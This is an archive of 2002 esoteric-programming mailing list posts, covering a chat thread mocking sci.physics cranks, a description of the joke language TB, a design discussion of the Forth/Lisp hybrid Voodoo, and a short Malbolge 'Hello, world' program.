Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mike@tecc.co.uk
Precedence: bulk
X-list: misc







From esoteric@oiva.sange.fi Mon Jun 17 20:59:57 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K0lM-0001RZ-00; Mon, 17 Jun 2002 20:58:00 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 17 Jun 2002 20:57:53 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K0lE-0001RT-00; Mon, 17 Jun 2002 20:57:52 +0300
Received: with LISTAR (v0.129a; list chat); Mon, 17 Jun 2002 20:57:50 +0300 (EEST)
Received: from mailout05.sul.t-online.com ([194.25.134.82])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K0lB-0001RN-00
	for chat@esoteric.sange.fi; Mon, 17 Jun 2002 20:57:49 +0300
Received: from fwd08.sul.t-online.de 
	by mailout05.sul.t-online.com with smtp 
	id 17K0l8-0001UO-08; Mon, 17 Jun 2002 19:57:46 +0200
Received: from dreizehn (320072378593-0001@[217.0.88.39]) by fwd08.sul.t-online.com
	with smtp id 17K0l5-0rLUG0C; Mon, 17 Jun 2002 19:57:43 +0200
From: Gerson.Kurz@t-online.de (Gerson Kurz)
To: <chat@esoteric.sange.fi>
Subject: [chat] The kooks of sci.physics
Date: Mon, 17 Jun 2002 19:58:47 +0200
Message-ID: <KGEPLGONBPHFGIHOBLCKKEEICIAA.gerson.kurz@t-online.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Sender: 320072378593-0001@t-dialin.net
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: Gerson.Kurz@t-online.de
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: Gerson.Kurz@t-online.de
Precedence: bulk
X-list: misc

This was news to me, since I spend my days reading the de.* hierarchy of
newsgroups. And the german physics newsgroup is rather boring. However, it
seems the international newsgroups is bothered by a bunch of *pretty*
esoteric kooks.

Quote taken from "The crackpots of sci.physics"

George Hammond thinks that he has found scientific proof of the existence of
God. Mr. Hammond is a physics graduate (or so he says), but apparently feels
he is qualified as a psychologist as well.
http://home.pacifier.com/~dkossy/hammond.html is a pretty good analysis of
his theory. Mr. Hammond spent some time in a mental hospital.

Donald G. Shead is confused by the difference between mass and weight, and
concludes from that the SI system, or even physics itself, is flawed

Len Gaasenbeek is one of many morons who believe the theory of relativity is
blatantly wrong. At one point he also thought he could make a reactionless
drive using a gyroscope, but I managed to show him why he was wrong. The
fact that he is 71 years old might explain his crazy ideas.

"Habshi" (real/full name unknown) has no knowledge of physics whatsoever,
but that doesn't stop him from making the most ridiculous claims: travelling
underwater is much more efficient than travelling across the surface,
gravity does not exist 400 miles above the earth, a laser can be used to
gently push a spaceship to the moon, a telescope on the moon will be able to
look at a time before the big bang."

End of quote.

Going from there, I spend a few hours googling' sci.physics - and what can I
tell you, it really *is* fun. Here is a small sample

9.6.2002: Reticher proofs "The Error in Relativistic Physics"
see http://www.members.aol.com/reticher/site.htm for a complete debunking of
Einstein myths and relativism crap.

9.6.2002: Donald G.Shead thinks that "g is nearly 10" and where to go from
that insight.

9.6.2002: George Hammond prooves, that God=G_uv ("God is a curvature in
psychometric space"), yet again.

10.6.2002: john P David prooves using Jack Kerouac, Einstein, and Cosmic
Grapes that "Planetary Motion: Inertial not Gravitational" where EM
radiation is shown as the cause for planetary rotation.

10.6.2002: "thinkit" wants you to think about changing your physics from
decimal to hexadecimal, that would be a lot better.

10.6.2002: God has given "James Harris" a short proof of Fermats Last
Theorem. (There is a header on sci.maths for posts from this guy, he  really
*is* hilarious. He has "the worlds fastest formula for prime numbers" in
java (1000 numbers in 10 seconds, yippeeee) and uses subjects like "The
'impossible' polynominal - Answer to a prayer"

11.6.2002: "Dr.X" prooves Hawking is wrong

11.6.2002: Evgenij Barsukov: "I am glad to inform you that I finished a new
large
development - a complete engineering model for self-powered
lifter, able to lift it own weight + power supply. Calculations
based on my lifter model based on corona-discharge theory give promicing
results. "

11.6.2002: "thinkit:": SI must be rewritten in hexadezimal

11.6.2002: "Kuan PENG" has disprooved both electromagnetic theory and
Maxwells equations. Now he would like to discuss his motives for doing so.

11.6.2002: "James Harris" recognizes, that math is a lot like quantum
physics

11.6.2002: Jevan Pipitone on time travel

11.6.2002: "Dr.X" prooves Hawking is wrong, again

11.6.2002: Donald G. Shead is bothered by the thought that every bodys
weight is constantly changing

11.6.2002: "Dr.X" on space ships

and so on, ad infinitum, you get the idea. Also two nice links in that
direction are

http://home.pacifier.com/~dkossy/kooksmus.html the "Kooks Museum" with the
"Library of questionable scholarship" and "Stand terrified at the feet of
the "Worldwide Computer God Frankenstein Controls" revealed by Francis E.
Dec, Esquire, FOR YOUR ONLY HOPE FOR A FUTURE!"

http://www.crank.net/ is devoted to presenting Web sites by and about
cranks, crankism, crankishness, and crankosity. All cranks, all the time.

--- QUOTE ---
Gangster Computer God Worldwide Secret Containment policy made possible
solely by Worldwide Computer God Frankenstein Controls. Especially lifelong
constant threshold brainwash radio. Quiet and motionless, I can slightly
hear it. Repeatedly this has saved my life on the streets.

Four billion wordwide population, all living, have a Computer God
Containment Policy brain bank brain, a real brain in the brain bank cities
on the far side of the moon we never see. Primarily, based on your lifelong
Frankenstein Radio Controls, especially your Eyesight TV, sight and sound
recorded by your brain, your moon brain of the Computer God activates your
Frankenstein threshold brainwash radio lifelong, inculcating conformist
propaganda, even frightening you and mixing you up and the usual, "Don't
worry about it." For your setbacks, mistakes, even when you receive deadly
injuries. This is the Worldwide Computer God Secret Containment Policy.

Cheers!









From esoteric@oiva.sange.fi Mon Jun 17 21:03:36 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K0qj-0001Ux-00; Mon, 17 Jun 2002 21:03:33 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 17 Jun 2002 21:03:26 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K0qB-0001Ur-00; Mon, 17 Jun 2002 21:02:59 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 17 Jun 2002 21:02:51 +0300 (EEST)
Received: from rwcrmhc51.attbi.com ([204.127.198.38])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K0q2-0001Ul-00
	for lang@esoteric.sange.fi; Mon, 17 Jun 2002 21:02:50 +0300
Received: from plutonium.mad.scientist.com ([12.253.59.46])
          by rwcrmhc51.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020617180247.RCDH11426.rwcrmhc51.attbi.com@plutonium.mad.scientist.com>
          for <lang@esoteric.sange.fi>; Mon, 17 Jun 2002 18:02:47 +0000
Message-Id: <5.1.0.14.0.20020617115911.03018ab0@mail.mines.edu>
X-Sender: bolmstea@mail.mines.edu
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 17 Jun 2002 12:02:14 -0600
To: lang@esoteric.sange.fi
From: Ben <bem@mad.scientist.com>
Subject: [lang] [bf-alike] Fwd: A little bit of nonsense.
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: bem@mad.scientist.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: bem@mad.scientist.com
Precedence: bulk
X-list: misc

This showed up in my inbox, along with a 'hello.tb' and a 'tb.exe'.

>TB
>====
>A colaborative effort by Fred Dupuis, Ian Leroux, and myself, Jesse 
>McKeown, while trying to escape boredom during a lull at the 2001 IPhO 
>competition in Turkey.
>
>The name, TB stands primarily for "Turing, Bitwise," even though the 
>interesting ops aren't bitwise functions, and it's probably not turing 
>complete.  The fact that TB is also a colloquial shortening of the formal 
>name of a famous lingering pulmonary disease is by no means co-incidence.
>
>Inspired by BrainF***, but meant to be less legible, and less useful.
>
>Each instruction is encoded by a single character.  Instructions mostly 
>operate on an array of bits and a pointer into that array.
>' '   decrement bit pointer.
>'\n'  reset pointed bit.
>'\t'  increment bit pointer.
>'_'   negate pointed bit.
>'-'   jump
>Other characters are nops.  If the first bit in the array is set, then the 
>next eight bits are read as an ascii char and printed to the screen, and 
>the first bit is nulled.  Characters typed at the kbd are written as ascii 
>to the eight bits after first.  There is nothing to stop these from being 
>overwritten before anything is done with them, or to indicate when a byte 
>has been input.  Execution terminates normally at end of program file.
>
>There's a pre-processor something, but it's not very helpful.  This is 
>mostly what the functions y() and z() in tba.c are about, but you don't 
>need to know about that.
>
>The jump is a funny thing.  I've never used it.  The jump is conditional 
>on the byte starting at the pointed bit.  Half the time it will produce 
>abnormal program termination with random exit code from one to nine.
>
>That's all.  Enjoy!
>
>Jesse :)
>
>_________________________________________________________________
>Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp.
>
>
>






From esoteric@oiva.sange.fi Mon Jun 17 21:18:40 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K15J-0001YH-00; Mon, 17 Jun 2002 21:18:37 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 17 Jun 2002 21:18:30 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K14m-0001YA-00; Mon, 17 Jun 2002 21:18:04 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 17 Jun 2002 21:17:57 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K14d-0001Y4-00
	for lang@esoteric.sange.fi; Mon, 17 Jun 2002 21:17:55 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5HIHm220500
	for <lang@esoteric.sange.fi>; Mon, 17 Jun 2002 11:17:48 -0700
Content-Type: text/plain;
  charset="iso-8859-1"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Mon, 17 Jun 2002 11:18:38 -0700
X-Mailer: KMail [version 1.4]
References: <Pine.LNX.4.44.0206171120300.7742-100000@melkinpaasi.cs.Helsinki.FI>
In-Reply-To: <Pine.LNX.4.44.0206171120300.7742-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206171118.38974.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

Delighted to have your input!

On Monday 17 June 2002 02:50 am, Panu A Kalliokoski wrote:
> Does the language support variables (or any other kind of binding names=
 to
> values)? If so, does it have nested scopes? I ask this because nested
> scopes bring "true flesh" to anonymous functions...

I'm hashing that out in the compiler right now, actually.  Initially, yes=
,=20
functions could refer to three types of variables:
--Global variables, which are available at any point during the program a=
nd=20
from any function.
--Static variables, which are created when a function is first invoked an=
d=20
retain value between invocations.  (This is a Java/VB concept of 'static'=
 I=20
think.)
--Local variables, which are created when a function is invoked and destr=
oyed=20
on exit.

I've eliminated them from the current spec for one reason: performance.  =
The=20
way the language is going, invoking a function may very well be the most=20
common operation (well, I'm exaggerating a bit), so a lot of overhead in=20
terms of allocating/destroying variable sets might be a performance=20
detrement.  However, I'm certainly not ruling it out for the next revisio=
n,=20
once I figure out which direction this should move in.
Particularly since named variables take a bit of the stack management off=
 the=20
human's brain, and we're really not terribly good at it compared to=20
compilers. :-)

> Does it mean that _every_ data type defines operations of all data type=
s?
> What does division do on strings? Can one define new types?

Many of the built-in functions are capable of dealing with arguments of=20
multiple data types (i.e. are overloaded, in the C++ sense).  In most cas=
es,=20
this simply involves some up-conversion before the operation, but there a=
re=20
special cases, such as lists (of which a string is an example).  Division=
,=20
for example, is not defined on strings, and will produce an error, unless=
 you=20
can suggest an alternative behavior. :-)

Types are not currently user-definable.  In the same code I've been writi=
ng,=20
lists feel flexible enough to provide a lot of what user-defined types do=
 in=20
other languages, but I'm not sure on that.  Currently there are a series =
of=20
primitive numeric types defined for performance (int, uint, float, char),=
 the=20
list type, the function type, and a unique 'error' type produced when an=20
error occurs.

> Apparently one cannot push a function along with an argument, except by
> forming a new anonymous function, like  : 3 {+} ;

That's correct -- technically speaking, you cannot push a function with a=
=20
defined set of arguments, and must instead rely on the argwalk/argapply=20
functions (which will treat a certain number of values on the stack as=20
arguments to the function, though it's up to the function whether or not=20
they're processed).

> -- but what if I want
> the argument to be determined by the outer scope: can I write a functio=
n
> that takes an argument, x, and returns a function that will multiply it=
s
> argument by x?

Yes, such a function can be written, but no, it's not nearly simple enoug=
h. =20
That example will require some rethinking.
The most obvious way to do it currently is to define such a function at=20
runtime using the :..; sequence, convert it to a list (which breaks the=20
individual calls out), replace one of the values in the list with x, and =
then=20
convert it back into a function.  However, that's nasty, imho. :-)
For my reference, how would you do that in Lisp or Haskell?  I'm not near=
ly as=20
well versed in either as I should be.

[RPN]
> Well, some find it more intuitive. It can be translated into RPN anyway=
,
> so why have humans do the job? (sic)

True, and I've been thinking about this.  I suppose the real clencher her=
e is=20
that I'm very bad at parser design. :-)

> Ouch. You apparently mean updatable-state monads, because monads in
> general have nothing to do with global variables.

That could be.  The only definitions of monads I could find were either h=
ow=20
the original Greek word relates to the Catholic Church (which sounded a l=
ot=20
like a spiritual global variable) or syntax examples in Scheme or Haskell=
=2E =20
Neither language's use of monads made their real value apparent to someon=
e=20
like me, who isn't great with either.  But in short, I'm really not sure=20
-what- sort of monads I'm referring to.

> 1) They can be first-class (so a whole environment can be saved, given =
as
> argument, etc. 2) They can impose additional restrictions on or service=
s
> for state-changes. 3) State tracking is well-defined for them, and
> side-effectless computations can be lowered out of the monad for parall=
el,
> lazy, etc. computation. 4) They're part of the functional setup around
> them, and there is no way you could fuck up order of evaluation with th=
em.

So how are monads different from singletons in an OO paradigm with proper=
=20
thread safety?

> I think the parenthese notation is beautiful, particularly as it lets
> people specify just how many arguments they want to give to a function =
(in
> functional languages):

I was referring more to parenthesis used in arithmetic to control order o=
f=20
evaluation.  I like Lisp/Scheme's paren conventions in particular, and th=
e=20
language I designed immediately before Voodoo used them heavily.  However=
, I=20
got to thinking about what it would take to hybridize Forth and Lisp, and=
=20
Voodoo was produced.

> I think usually the different "words" contain anyway some information o=
f
> how they are to be treated. In functional-like languages, functions "pu=
sh"
> themselves and arguments "apply" themselves by the topmost function in =
the
> stack. In forth-like languages, arguments "push" themselves and functio=
ns
> take their arguments from the stack. All in all, if one develops a stac=
k
> machine, it naturally evolves into lambda calculus' direction if one
> considers FPN (operations first), and into bytecode's (forth's) directi=
on
> if one considers RPN.

Using that model, a function like +, for example, when invoked, would pla=
ce=20
itself onto the stack containing an internal state that additional argume=
nts=20
could be applied to?

> This was the idea in my once-thought-about language of FPN, where there
> were three kinds of "words": functions, arguments and direct stack
> manipulators. For example, to use higher order functions, one would use=
 a
> special "take the topmost function from the stack and feed it as an
> argument to the function under it" operator.

Would feeding, say, numeric arguments to a function also have involved su=
ch an=20
operator (albeit a less interesting one)?  (I'm trying to collect as much=
=20
data as I can on other peoples' designs here. :-)

> A little akin to Haskell's sections: 1+3 is 4, (1+) is the function to
> increment by one, (+) is the addition function.

Yes, another reminder that I really do need to learn Haskell. :-)

> Wow! I'm in for using ideological names as foo-words.

Then we hit the problem that Fourier was a famous socialist philosopher, =
and=20
if you're doing, say, a wavelet transform, including a variable named=20
'fourier' will break peoples' brains. :-)

-Cliff L. Biffle





From esoteric@oiva.sange.fi Mon Jun 17 21:21:28 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K182-0001ZS-00; Mon, 17 Jun 2002 21:21:26 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 17 Jun 2002 21:21:19 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K17u-0001ZM-00; Mon, 17 Jun 2002 21:21:18 +0300
Received: with LISTAR (v0.129a; list chat); Mon, 17 Jun 2002 21:21:17 +0300 (EEST)
Received: from web10006.mail.yahoo.com ([216.136.130.42])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17K17r-0001ZG-00
	for chat@esoteric.sange.fi; Mon, 17 Jun 2002 21:21:16 +0300
Message-ID: <20020617182112.23420.qmail@web10006.mail.yahoo.com>
Received: from [217.114.163.133] by web10006.mail.yahoo.com via HTTP; Mon, 17 Jun 2002 19:21:12 BST
Date: Mon, 17 Jun 2002 19:21:12 +0100 (BST)
From: =?iso-8859-1?q?Keith=20Gaughan?= <keithgaughan@yahoo.com>
Subject: [chat] Re: The kooks of sci.physics
To: chat@esoteric.sange.fi
In-Reply-To: <KGEPLGONBPHFGIHOBLCKKEEICIAA.gerson.kurz@t-online.de>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: keithgaughan@yahoo.com
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: keithgaughan@yahoo.com
Precedence: bulk
X-list: misc

And I thought The Illuminatus! Trilogy was kooky...

__________________________________________________
Do You Yahoo!?
Everything you'll ever need on one web page
from News and Sport to Email and Music Charts
http://uk.my.yahoo.com





From esoteric@oiva.sange.fi Mon Jun 17 21:23:18 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K19q-0001aW-00; Mon, 17 Jun 2002 21:23:18 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 17 Jun 2002 21:23:10 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K19h-0001aO-00; Mon, 17 Jun 2002 21:23:10 +0300
Received: with LISTAR (v0.129a; list chat); Mon, 17 Jun 2002 21:23:08 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K19f-0001aH-00
	for chat@esoteric.sange.fi; Mon, 17 Jun 2002 21:23:07 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5HIN3220743
	for <chat@esoteric.sange.fi>; Mon, 17 Jun 2002 11:23:04 -0700
Content-Type: text/plain;
  charset="iso-8859-1"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: chat@esoteric.sange.fi
Subject: [chat] Re: The kooks of sci.physics
Date: Mon, 17 Jun 2002 11:23:54 -0700
X-Mailer: KMail [version 1.4]
References: <KGEPLGONBPHFGIHOBLCKKEEICIAA.gerson.kurz@t-online.de>
In-Reply-To: <KGEPLGONBPHFGIHOBLCKKEEICIAA.gerson.kurz@t-online.de>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206171123.54342.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Monday 17 June 2002 10:58 am, you wrote:
> Four billion wordwide population, all living, have a Computer God
> Containment Policy brain bank brain, a real brain in the brain bank cit=
ies
> on the far side of the moon we never see. Primarily, based on your life=
long
> Frankenstein Radio Controls, especially your Eyesight TV, sight and sou=
nd
> recorded by your brain, your moon brain of the Computer God activates y=
our
> Frankenstein threshold brainwash radio lifelong, inculcating conformist
> propaganda, even frightening you and mixing you up and the usual, "Don'=
t
> worry about it." For your setbacks, mistakes, even when you receive dea=
dly
> injuries. This is the Worldwide Computer God Secret Containment Policy.

You can't fool me.  I know Beatnik code when I see it.

-Cliff





From esoteric@oiva.sange.fi Mon Jun 17 21:41:57 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K1Ri-0001gB-00; Mon, 17 Jun 2002 21:41:46 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 17 Jun 2002 21:41:38 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K1RZ-0001g5-00; Mon, 17 Jun 2002 21:41:38 +0300
Received: with LISTAR (v0.129a; list chat); Mon, 17 Jun 2002 21:41:36 +0300 (EEST)
Received: from mailout02.sul.t-online.com ([194.25.134.17])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K1RY-0001fz-00
	for chat@esoteric.sange.fi; Mon, 17 Jun 2002 21:41:36 +0300
Received: from fwd08.sul.t-online.de 
	by mailout02.sul.t-online.com with smtp 
	id 17K1RU-0004lB-0L; Mon, 17 Jun 2002 20:41:32 +0200
Received: from dreizehn (320072378593-0001@[217.0.88.39]) by fwd08.sul.t-online.com
	with smtp id 17K1RS-0l30oCC; Mon, 17 Jun 2002 20:41:30 +0200
From: Gerson.Kurz@t-online.de (Gerson Kurz)
To: <chat@esoteric.sange.fi>
Subject: [chat] AW: Re: The kooks of sci.physics
Date: Mon, 17 Jun 2002 20:42:35 +0200
Message-ID: <KGEPLGONBPHFGIHOBLCKMEEJCIAA.gerson.kurz@t-online.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
In-Reply-To: <200206171123.54342.cbiffle@safety.net>
X-Sender: 320072378593-0001@t-dialin.net
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: Gerson.Kurz@t-online.de
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: Gerson.Kurz@t-online.de
Precedence: bulk
X-list: misc


> You can't fool me.  I know Beatnik code when I see it.

See http://home.pacifier.com/~dkossy/dec.html

(From "the schizophrenic wing" of the Kooks Museum).





From esoteric@oiva.sange.fi Mon Jun 17 23:28:33 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K36f-0001wB-00; Mon, 17 Jun 2002 23:28:09 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 17 Jun 2002 23:28:02 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K34t-0001w4-00; Mon, 17 Jun 2002 23:26:20 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 17 Jun 2002 23:26:12 +0300 (EEST)
Received: from [212.16.6.108] (helo=frox25.dhs.org)
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17K34l-0001vy-00
	for lang@esoteric.sange.fi; Mon, 17 Jun 2002 23:26:11 +0300
Received: (qmail 82560 invoked from network); 17 Jun 2002 19:43:58 -0000
Received: from heartw.ih (10.0.17.4)
  by nova.ih with SMTP; 17 Jun 2002 19:43:58 -0000
Date: Tue, 18 Jun 2002 00:11:44 +0400
From: Mtv Europe <mtve@frox25.dhs.org>
X-Mailer: The Bat! (v1.49) Personal
X-Priority: 3 (Normal)
Message-ID: <175433249910.20020618001144@frox25.dhs.org>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Malbolge
In-reply-To: <7458-Mon03Jun2002110041+0200-benko@lutra.sztaki.hu>
References: <7458-Mon03Jun2002110041+0200-benko@lutra.sztaki.hu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
X-list: misc

Hello All!

Monday, June 03, 2002, 1:00:41 PM, Pal Benko <benko@sztaki.hu> wrote:
>> Overall, impressive code you wrote.  Not least because (I think) you
>> are the first programmer to write a Malbolge program by hand.

Aah, good ol' Malbolge.    David Seaman's code is very noteworthy
and mostly the only one useful Malbolge program yet.

> http://www.antwon.com/index.php?p=234

Antwon's classic "Hello, world." program from this page can be written
more shortly in fact.   Here is 89 bytes compared to 116 Antwon's
(am I opening first Malbolge golf now? :)

(=<`#9]~6ZY32Vw/.R,+Op(L,+k#Gh&}Cdz@aw=;zyKw%ut4U
qp0/mlejihtfrHcbaC2^W\>Z,XW)UTSL53\HGFjW

For unambiguity let's decide to make output exactly like Antwon
(i.e. string as stated above without final newline).

> ?  (Well, I don't really know whether those programs were written by
> hand or not.)

Perhaps more interesting questions are possibility of nontrivial
nonlinear code, and of course the main problem - existence of
quine on Malbolge.

---
DCBA@?>!<543W7w/S-,Pq)M:,8[)Y!WgU0"b>w|{]LxwvuGV







From esoteric@oiva.sange.fi Tue Jun 18 00:02:35 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K3du-00025E-00; Tue, 18 Jun 2002 00:02:30 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 00:02:22 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K3dM-00024C-00; Tue, 18 Jun 2002 00:01:56 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 18 Jun 2002 00:01:48 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K3dD-00022J-00
	for lang@esoteric.sange.fi; Tue, 18 Jun 2002 00:01:48 +0300
Received: from dds.nl (xs241-201-135.dial.tiscali.nl [195.241.201.135])
	by pandora.tiscali.nl (Postfix) with ESMTP id 84D9E4F217
	for <lang@esoteric.sange.fi>; Mon, 17 Jun 2002 23:01:41 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3D0E2E9E.E9CC66F@dds.nl>
Date: Mon, 17 Jun 2002 20:46:54 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206151449.10254.cbiffle@safety.net> <20020615155602.3461cc80.ayzik@shaw.ca> <200206151629.01197.cbiffle@safety.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Cliff L. Biffle wrote:

> > But what about (foo bar (lenin marx mao)) ? In a
> > functional language, How would you differentiate between functions and
> > their arguments?
>
> '{mao} {marx} lenin {bar} foo' in Voodoo, assuming they're all functions.
> Voodoo lacks Lisp's concept of symbols, currently, though I'm working on it.
